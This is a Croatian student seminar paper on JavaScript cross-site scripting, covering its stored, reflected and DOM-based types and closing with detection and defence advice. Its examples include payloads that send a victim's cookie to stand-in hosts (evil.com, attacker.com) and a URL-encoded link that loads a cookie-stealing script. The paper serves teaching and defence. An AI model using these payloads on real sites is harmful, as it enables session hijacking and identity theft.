SVEUČILIŠTE U ZAGREBU FAKULTET ELEKTROTEHNIKE I RAČUNARSTVA Seminar iz predmeta RAČUNALNA FORENZIKA JAVASCRIPT CROSS-SITE SCRIPTING Rut Pušelj ZAGREB, siječanj, 2018.
SVEUČILIŠTE U ZAGREBU
FAKULTET ELEKTROTEHNIKE I RAČUNARSTVA
Seminar iz predmeta
RAČUNALNA FORENZIKA
JAVASCRIPT CROSS-SITE SCRIPTING
Rut Pušelj
ZAGREB, siječanj, 2018.
2
SADRŽAJ
1. Uvod ................................................................................................................................................ 3
2. Cross-site Scripting (XSS) ................................................................................................................. 4
3. Vrste XSS napada ............................................................................................................................. 8
3.1. Pohranjeni XSS (Stored XSS) .................................................................................................... 8
3.2. Reflektirani XSS (Reflected XSS) .............................................................................................. 8
3.3. XSS temeljen na DOM-u (DOM-based XSS) ............................................................................. 9
4. Primjer XSS napada ....................................................................................................................... 10
5. Otkrivanje napada i načini zaštite ................................................................................................. 11
6. Zaključak ........................................................................................................................................ 12
7. Literatura ....................................................................................................................................... 13
3
1. Uvod
Internet se, nedvojbeno, nalazi posvuda oko nas. Istraživanje iz 2017. godine
procjenjuje da Internet koristi više od polovice svjetskog stanovništva [8], a procjenjuje se da
u ovom trenutku postoji više od 1.3 milijarde aktivnih web stranica [9]. U tu statistiku ubrojane
su samo indeksirane web stranice pa je ukupni broj web stranica, uključujući sve one neaktivne
i neindeksirane, još i veći. Upravo zbog ovih velikih brojeva napadači se sve češće odlučuju za
različite računalne i mrežne napade, ali i za napade preko web stranica.
Jedan od najraširenijih napada na web stranice i web aplikacije upravo je cross-site
scripting (XSS). Ta vrsta napada pogađa sve web stranice koje negdje imaju korisnički unos.
Jedan od najpoznatijih XSS napada je zasigurno računalni crv Samy koji je u samo 20 sati 4.
listopada 2005. godine, na tada iznimno popularnoj društvenoj stranici MySpace, uspio zaraziti
više od milijun korisnika, što ga čini najbrže širećim računalnim virusom svih vremena [10].
Iako je virus bio potpuno bezopasan, pokazao je koliki može biti doseg i šteta zloćudnih XSS
napada. S obzirom na to da je programski jezik JavaScript temeljni jezik za prikaz sadržaja na
webu, i uzimajući u obzir da se XSS napadi najviše pišu u JavaScriptu, u ovom seminaru opisani
su i objašnjeni XSS napadi temeljeni na JavaScriptu.
4
2. Cross-site Scripting (XSS)
Cross-site Scripting (skraćeno XSS) je vrsta napada kod kojeg napadač svoje
zlonamjerne skripte šalje i „ubacuje“ u inače pouzdane web aplikacije čime neizravno napada
krajnjeg korisnika koji posjećuje tu web aplikaciju. Takav napad događa se kada napadač
putem korisničkog unosa na inače pouzdanoj web aplikaciji šalje svoj zlonamjerni kod čime on
postaje dio te web aplikacije. Web preglednik krajnjeg korisnika takve web aplikacije neće
znati da ona sadrži zlonamjernu skriptu s obzirom na to da on tu web stranicu vidi kao
pouzdanu i sigurnu. Zbog toga će web preglednik izvršiti zlonamjernu skriptu što može imati
velike posljedice. Takve zlonamjerne skripte mogu izmijeniti sadržaj stranice, ali i pristupiti
kolačićima (engl. cookies), tokenima trenutno aktivne sjednice i ostalim osjetljivim i privatnim
informacijama korisnika koje se nalaze u web pregledniku, a trenutno se koriste za tu web
aplikaciju i time narušiti privatnost korisnika.
XSS napadom napadač ne napada žrtvu izravno već koristi ranjivost web stranice ili web
aplikacije koju žrtva posjećuje. Napadač uglavnom koristi ranjivu web aplikaciju kao vozilo za
isporuku zlonamjernog koda ili skripte web pregledniku žrtve. XSS napada VBScript, ActiveX i
Flash (iako se sada smatraju zastarjelim), ali nedvojbeno je najčešće zlostavljan JavaScript –
prvenstveno zato što je JavaScript temelj za prikaz većine sadržaja na webu.
Kako bi pokrenuo zlonamjerni JavaScript kod u web pregledniku žrtve, napadač najprije
mora pronaći način kako bi ga ubacio u web aplikaciju koju žrtva koristi. Zato su posebno
ranjive web stranice koje negdje koriste korisnički unos. Napadač tada može unijeti
zlonamjerni tekst u takav korisnički unos koji će se dalje koristiti unutar web aplikacije i koji će
web preglednik žrtve vidjeti kao kod za izvršavanje.
Osnovni koncepti XSS napada su sljedeći:
• XSS je napad temeljen na webu koji se izvodi na ranjivim web aplikacijama.
• Kod XSS napada, žrtva je krajnji korisnik, a ne web aplikacija.
• Zlonamjerni sadržaj prenosi se do krajnjih korisnika koristeći JavaScript.
Uzmimo za primjer sljedeći najjednostavniji slučaj XSS napada. Neka web stranica,
odnosno web aplikacija prikazuje komentare korisnika. Korisnici kroz jednostavni korisnički
unos mogu unijeti svoj komentar. Sljedeći pseudokod koristi se na strani poslužitelja i služi za
ispisivanje najnovijeg komentara:
print ""
print "Most recent comment"
print database.latestComment
print ""
5
Jedna takva skripta služi za ispisivanje zadnjeg komentara iz baze komentara svih
korisnika i ispisivanje HTML elemenata na stranici, pretpostavivši da se ispisani komentar
sastoji samo od teksta. Takva stranica je ranjiva na XSS napade jer napadač može unijeti
komentar koji sadrži zlonamjerni kod, primjerice komentar koji sadrži skriptu unutar koje se
nalazi zlonamjerna metoda:
doSomethingEvil();
Korisnicima koji će zatim posjetiti tu web aplikaciju prikazat će se stranica sa sljedećim kodom:
Most recent comment
doSomethingEvil();
Kada se stranica učita u web pregledniku korisnika, odnosno žrtve, izvršit će se
napadačeva zlonamjerna skripta i to u većini slučajeva bez korisnikovog shvaćanja da je bio
napadnut i bez mogućnosti sprječavanja napada. U ovom slučaju je važno napomenuti da XSS
ranjivost postoji samo kada web preglednik žrtve ima mogućnost parsiranja sadržaja
(zlonamjerne skripte) kojeg je napadač unio.
Posljedice onoga što napadač može napraviti kada ima mogućnost izvršavanja
JavaScript koda na web stranici možda nisu odmah vidljive, pogotovo uzevši u obzir da se
JavaScript izvršava u vrlo čvrsto kontroliranom okruženju i da ima ograničen pristup
operacijskom sustavu korisnika i korisničkim datotekama. Kako bi se dobio dojam što sve
napadač može napraviti koristeći zlonamjerni JavaScript kod, potrebno je navesti čemu sve
JavaScript ima pristup.
• Zlonamjerni JavaScript kod ima pristup svim objektima kao i web aplikacija/stranica,
što uključuje i pristup kolačićima. Kolačići se često koriste kako bi se spremili tokeni
trenutno aktivne sjednice pa ako napadač može dobiti pristup kolačićima trenutne
sjednice žrtve, može preuzeti identitet tog korisnika.
• JavaScript može čitati i mijenjati sve elemente koji se nalaze unutar web stranice
koristeći DOM (engl. Document Object Model).
• JavaScript može pomoću metode XMLHttpRequest ili na neke druge načine slati
HTTP zahtjeve proizvoljnog sadržaja na proizvoljna odredišta.
• JavaScript u novijim web preglednicima može iskoristiti API-je koji koriste HTML5 kako
bi dobio pristup geolokaciji korisnika, web-kameri, mikrofonu pa čak i određenim
datotekama iz korisničkog datotečnog sustava. Iako većina tih API-ja zahtijeva
6
uključivanje korisnika, XSS u suradnji s pametnim inženjeringom može napadača
dovesti daleko.
Uzevši u obzir navedeno, napadač može izvesti i napredne napade kao što su
keylogging i krađa identiteta. Zbog toga XSS ranjivosti na web aplikacijama pružaju savršene
temelje za napadače kako bi svoje napade učinili još naprednijim i ozbiljnijim.
Kod XSS napada postoje tri aktora – web aplikacija/stranica, žrtva i napadač.
Pretpostavimo da je napadačev cilj preuzeti identitet žrtve krađom njegovih kolačića. Slanje
žrtvinih kolačića na poslužitelj kojim upravlja napadač može se postići na više načina. Jedan od
njih je izvršavanje sljedećeg zlonamjernog koda u web pregledniku žrtve, i to koristeći XSS.
window.location=“http://evil.com/?cookie=” + document.cookie
Na slici 1 nalazi se primjer jednog napada. Brojevi na slici označavaju tijek izvođenja
napada.
1. Napadač unosi zlonamjerni JavaScript kod u ranjivi korisnički unos na web aplikaciji,
čime unosi zlonamjerni sadržaj u bazu podataka.
2. Žrtva traži pristup web stranici putem svog web preglednika.
3. Poslužitelj poslužuje web pregledniku žrtve stranicu koja sadrži napadačev zlonamjerni
sadržaj kao dio tijela HTML koda.
4. Web preglednik žrtve izvršava zlonamjernu skriptu koja se nalazi unutar tijela HTML
koda. U ovom slučaju, skripta šalje kolačiće žrtve nekom poslužitelju kojim upravlja
napadač. Sve što napadač sada mora napraviti je izvući žrtvin kolačić iz HTTP zahtjeva
koji dolazi na poslužitelj, nakon čega može koristiti taj kolačić za preuzimanje identiteta
žrtve.
7
Slika 1. Primjer XSS napada.
Osim za krađu kolačića i tokena, XSS se koristi i za izazivanje štete na društvenim
mrežama, širenje zlonamjernih programa, keylogging (npr. korištenjem metode
addEventListener() uz neki keyboard event listener), brisanje i mijenjanje sadržaja na web
stranicama i za tzv. phishing napade koji podrazumijevaju aktivnosti kojima napadači
korištenjem lažiranih korisničkih unosa (npr. DOM manipulacijom) pokušavaju korisnike
navesti na otkrivanje povjerljivih osobnih podataka kao što su korisnička imena i zaporke, PIN-
ovi, brojevi kreditnih kartica i drugo. XSS se također može, uz pomoć socijalnog inženjeringa,
koristiti i za neke štetnije napade.
8
3. Vrste XSS napada
XSS napadi klasificiraju se u tri veće kategorije – pohranjeni XSS (engl. stored XSS),
reflektirani XSS (engl. reflected XSS) i XSS temeljen na DOM-u (engl. DOM-based XSS).
3.1. Pohranjeni XSS (Stored XSS)
Najopasniji i najštetniji XSS napad je pohranjeni XSS. To je napad kod kojeg zlonamjerna
skripta ostaje zauvijek pohranjena u ciljanoj aplikaciji, primjerice unutar baze podataka.
Najjednostavniji primjer je zlonamjerna skripta koju je napadač unio putem polja za unos
komentara na blogu ili forumu. Kada žrtva u web pregledniku navigira kroz zaraženu web
stranicu, web preglednik će XSS sadržaj, odnosno zlonamjernu skriptu vidjeti kao legitimni dio
web stranice te će ga nenamjerno izvršiti i time naštetiti korisniku. Još jedan primjer je
nepravilno rukovanje na strani klijenta s korisničkim imenom korisnika. Napadač može ubaciti
zlonamjernu skriptu unutar korisničkog imena na forumu koje je spremljeno u bazu podataka
pa se na web stranici, svaki put kada žrtva posjeti dio gdje se nalazi zlonamjerna skripta,
pojavljuje primjerice:
Username:
user123document.location='https://attacker.com/?cookie='+enc
odeURIComponent(document.cookie)
Registered since: 2018
i zlonamjerna skripta se izvršava.
3.2. Reflektirani XSS (Reflected XSS)
Najrašireniji XSS napad je reflektirani XSS. U ovom slučaju, napadačeva zlonamjerna
skripta šalje se kao dio HTTP zahtjeva napadnutom web poslužitelju te se ona zatim reflektira
kroz HTTP odgovor koji sadrži upravo tu zlonamjernu skriptu. Korištenjem phishing napada i
ostalih tehnika, napadač privlači žrtvu da nehotice pošalje HTTP zahtjev poslužitelju koji sadrži
XSS sadržaj što za posljedicu ima izvršavanje zlonamjerne skripte unutar web preglednika. S
obzirom na to da reflektirani XSS nije trajni napad, napadač mora dostaviti zlonamjerni sadržaj
svakoj žrtvi posebno, zbog čega je takav napad čest upravo na društvenim mrežama.
Zamislimo da napadač otkrije da je neka tražilica na web stranici ranjiva na XSS napade.
Za korištenje te web stranice potrebno je imati vlastito korisničko ime i lozinku. U uobičajenom
slučaju, korisnik koji upisuje pojam „puppies“ u tražilicu slat će upit poslužitelju na URL adresu
9
http://somewebsite.org?q=puppies. Ako nema rezultata, na ekranu će se ispisati
„puppies not found“. Napadač može u tražilicu upisati i svoju zloćudnu skriptu, pa će URL
adresa izgledati ovako:
http://somewebsite.org?q=alert('xss
');
Ako napadač napravi URL adresu:
http://somewebsite.org?q=puppies
te pretvori ASCII znakove u heksadecimalni prikaz kako bi prosječnom korisniku na prvi pogled
bilo nejasno o čemu se radi:
http://somewebsite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2F
evilwebsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E
i pošalje URL adresu žrtvi (primjerice putem e-mail pošte), korisniku će se, nakon što pritisne
poveznicu, na ekranu prikazati „puppies not found“ te neće biti ni svjestan da je u pozadini
njegov web preglednik izvršio zloćudnu skriptu authstealer.js koja krade autorizacijski
kolačić žrtve koji web pregledniku služi za održavanje trenutno aktivne sjednice na toj web
stranici.
3.3. XSS temeljen na DOM-u (DOM-based XSS)
XSS napad temeljen na DOM-u je napredni tip XSS napada. Takva vrsta napada moguća
je kada skripte na klijentskoj strani web aplikacije koriste DOM. DOM je objektni model koji
omogućuje JavaScriptu pristup i promjenu svih HTML elemenata stranice. Web stranica zatim
čita podatke iz DOM-a i ispisuje ih u web pregledniku. Ako se nepravilno rukuje s podacima,
napadač može ubaciti zlonamjerni sadržaj u DOM, koji će se kasnije čitati i izvršavati kao da je
dio DOM-a te web aplikacije. Najopasniji dio ovog napada je napad sa strane klijenta gdje se
napadačev zlonamjerni sadržaj nikad ne šalje poslužitelju. Zbog toga napad neće ostati zapisan
u dnevnicima na poslužitelju pa ga je teško otkriti.
Između različitih objekata koji čine DOM, postoje određeni objekti kojima napadač
može manipulirati kako bi stvorio XSS stanje. To su primjerice document.URL,
document.documentURI, location.hash, window.name, i document.referrer.
Primjer jednog XSS napada temeljenog na DOM-u pronađen je 2011. godine u velikom
broju jQuery plugin-ova koji koriste funkcije $(location.hash) i $(#) koje, iako za
ulaz primaju CSS selector, mogu primati i izvršavati zloćudan XSS kod. Zbog toga neke novije
JavaScript knjižnice, poput Angular.js, imaju već ugrađene protumjere protiv ovakvih i ostalih
XSS napada.
http://somewebsite.org/?q=puppies
10
4. Primjer XSS napada
Uzmimo za primjer web aplikaciju koja nudi korisnicima prilagođeni sadržaj ovisno o
njihovom korisničkom imenu koje se zatim nalazi kodirano u URL-u. HTML kod takve web
stranice s URL-om http://www.example.com/userdashboard.html izgledao bi ovako:
Custom Dashboard
...
Main Dashboard for
var pos=document.URL.indexOf("context=")+8;
document.write(document.URL.substring(pos,document.URL.length
));
...
Neka korisničko ime našeg korisnika bude JamesBond. Rezultat posjećivanja stranice s
URL-om http://www.example.com/userdashboard.html?context=JamesBond bila
bi stranica s naslovom „Main Dashboard for JamesBond“.
Zlonamjerna skripta može se ugraditi u URL na sljedeći način:
http://www.example.com/userdashboard.html?context=EvilFuncti
on(evilVariable)
http://www.example.com/userdashboard.html#context=EvilFuncti
on(evilVariable)
Nadalje, žrtvin web preglednik dobiva gornji URL i šalje HTTP zahtjev na poslužitelja s
adresom http://www.example.com, a prima gore opisanu statičnu HTML stranicu. Nakon
toga web preglednik počinje stvarati DOM dobivene stranice i u document.url upisuje URL
koji sadrži zlonamjernu skriptu.
Kada web preglednik dođe skripte koja parsira ime korisnika iz URL-a, referencirajući
se na document.url, izvršava ju i ažurira HTML tijelo stranice, što rezultira sljedećim:
...
Main Dashboard for EvilFunction(evilVariable)
...
Web preglednik nailazi na zlonamjerni kod i izvršava ga, čime završava DOM XSS napad.
U stvarnosti, napadač bi sakrio zlonamjerni sadržaj iz URL-a korištenjem kodiranja kako ne bi
bilo očito da URL sadrži skriptu.
11
Treba napomenuti da, iako neki web preglednici mogu kodirati znakove < i >, u
primjerice < i >, što može zaustaviti napad, postoje slučajevi gdje nije potrebno
koristiti te znakove niti je potrebno ubaciti kod direktno u URL tako da niti takvi web
preglednici nisu potpuno imuni na ovakav tip napada.
Iz navedenog primjera vide se razlike DOM XSS napada u odnosu na ostale XSS napade.
HTML stranica je statična i ne postoji zlonamjerna skripta koja je dio te stranice kao što je
primjer kod drugih vrsta XSS napada. Osim toga, zlonamjerna skripta nikad ne dolazi do
poslužitelja jer se koristi oznaka „#“ koja označava fragment na stranici i web preglednik ne
šalje zahtjev dalje do poslužitelja. Zbog toga alati za otkrivanje napada na strani poslužitelja
neće otkriti ovakav napad. Ipak, u nekim slučajevima, ovisno o tipu URL-a, zlonamjerni sadržaj
ipak će doći do poslužitelja te će ga biti nemoguće potpuno sakriti.
5. Otkrivanje napada i načini zaštite
Kod klasičnih XSS napada zlonamjerna skripta dolazi do poslužitelja pa se za detekciju
takvih napada mogu koristiti dnevnici na poslužitelju i različiti alati koji otkrivaju upad u sustav.
DOM XSS napade teško je otkriti analizirajući poslužitelja i korištenjem alata za
zaustavljanje napada s obzirom na to da zlonamjerni sadržaj u većini slučajeva ne dolazi do
samog poslužitelja kao što je slučaj s ostalim XSS napadima. Međutim, budući da korijen
problema leži u samom kodu stranice na strani klijenta, potrebno je dobro pregledati kod i
implementaciju funkcionalnosti web aplikacije. Najjednostavniji način za sprječavanje XSS
napada je ispravna provjera korisničkog unosa kako napadači ne bi mogli ubaciti svoje
zlonamjerne skripte.
Učinkovite metode obrane protiv DOM XSS napada uključuju:
• Izbjegavanje osjetljivih postupaka na strani klijenta, kao što su prepisivanje ili
preusmjeravanje koristeći podatke klijenta.
• Analiziranje koda na strani klijenta pregledavajući kod i korištenje sigurnog rukovanja
referencama na DOM objekte koji predstavljaju prijetnju, poput URL-a, lokacija i
referrer-a, posebno u slučajevima kada se DOM može promijeniti.
• Upotreba sustava za sprječavanje napada koji mogu pregledati ulazne parametre URL-
a i spriječiti posluživanje neprikladnih stranica.
Ostala pravila kojim se sprječavaju DOM XSS napadi mogu se pronaći u literaturi [7].
Testiranje učinkovitosti metoda saniranja XSS napada ili otkrivanja ranjivosti na XSS
napade može se izvesti ručnim pokušavanjem izazivanja samih napada (u kontroliranom
12
okruženju) ili pomoću automatiziranih alata koji provode automatsko testiranje protiv ovih
tipova ranjivosti.
Kako bi se napadačima otežalo i onemogućilo izvođenje XSS napada, potrebno je
koristiti i dobre prakse u pisanju JavaScript koda:
• Umjesto direktnog umetanja HTML-a u dokument, trebalo bi programski stvoriti DOM
čvorove i pripojiti ih DOM-u. To znači da treba izbjegavati funkcije poput .html(),
.innerHTML i slično, a umjesto njih koristiti .append(), .prepend(), .before(),
.after() itd.
• Izbjegavati funkciju eval(). Ta funkcija prima JavaScript kod u obliku string-a i
izvršava ga bez pitanja što je čini savršenom za zloćudne napadače.
• Izbjegavati korištenje zastarjelih i neažuriranih JavaScript knjižnica.
• Izbjegavati korištenje neprovjerenih i nesigurnih JavaScript knjižnica.
• Izbjegavati korištenje neprovjerenih podataka iz URL-ova, URL fragmenata, upita i
kolačića.
6. Zaključak
XSS napadi vrlo su česti i mogu izazvati vrlo štetne posljedice. Oni mogu potpuno
narušiti privatnost krajnjih korisnika i napadačima otkriti privatne informacije korisnika te ih
zatim iskoristiti u zloćudne svrhe. Zbog toga je potrebno zaštititi se na odgovarajući način kako
bi napadačima bilo otežano ili čak i onemogućeno izvođenje XSS napada. Osim što je potrebno
usvojiti dobre prakse pisanja JavaScript koda kako bi web aplikacija bila što otpornija na takve
napade, potrebno je i shvatiti kako XSS napad može narušiti sigurnosti web aplikacije te
testirati sve moguće ranjivosti web aplikacije.
Iako XSS napade može biti teško otkriti, specifičan problem, jednom kada je otkriven,
u većini slučajeva nije teško riješiti. Zbog toga je u svakom slučaju bolje unaprijed spriječiti bilo
kakve moguće napade na adekvatan način nego se kasnije brinuti oko štetnih posljedica koje
takvi napadi mogu donijeti.
13
7. Literatura
[1] Acunetix, Cross-site Scripting (XSS) Attack, dostupno na:
https://www.acunetix.com/websitesecurity/xss/ [12.1.2018.]
[2] Acunetix, Types of XSS: Stored XSS, Reflected XSS and DOM-based XSS, dostupno na:
https://www.acunetix.com/websitesecurity/cross-site-scripting/ [12.1.2018.]
[3] Nick Daugherty, Coding Best Practices: Preventing XSS in JavaScript (25.3.2015.),
dostupno na: https://vip.wordpress.com/2015/03/25/preventing-xss-in-javascript/
[12.1.2018.]
[4] Jakob Kallin, Irene Lobo Valbuena, Excess XSS, A comprehensive tutorial on cross-site
scripting, dostupno na: https://excess-xss.com/ [12.1.2018.]
[5] OWASP, Cross-site Scripting (XSS), dostupno na:
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) [12.1.2018.]
[6] Netsparker, The Cross-site Scripting (XSS) Vulnerability: Definition and Prevention,
dostupno na: https://www.netsparker.com/blog/web-security/cross-site-scripting-
xss/ [12.1.2018.]
[7] OWASP, DOM based XSS Prevention Cheat Sheet, dostupno na:
https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet
[12.1.2018.]
[8] Internet world stats – Internet usage statistics - World Internet Users and 2017
Population Stats, dostupno na: http://www.internetworldstats.com/stats.htm
[23.1.2018.]
[9] Internet live stats – Total number of Websites, dostupno na:
http://www.internetlivestats.com/total-number-of-websites/ [23.1.2018.]
[10] Wikipedia - Samy (computer worm), dostupno na:
https://en.wikipedia.org/wiki/Samy_(computer_worm) [23.1.2018.]
https://www.acunetix.com/websitesecurity/xss/https://www.acunetix.com/websitesecurity/cross-site-scripting/https://vip.wordpress.com/2015/03/25/preventing-xss-in-javascript/https://excess-xss.com/https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)https://www.netsparker.com/blog/web-security/cross-site-scripting-xss/https://www.netsparker.com/blog/web-security/cross-site-scripting-xss/https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheethttp://www.internetworldstats.com/stats.htmhttp://www.internetlivestats.com/total-number-of-websites/https://en.wikipedia.org/wiki/Samy_(computer_worm)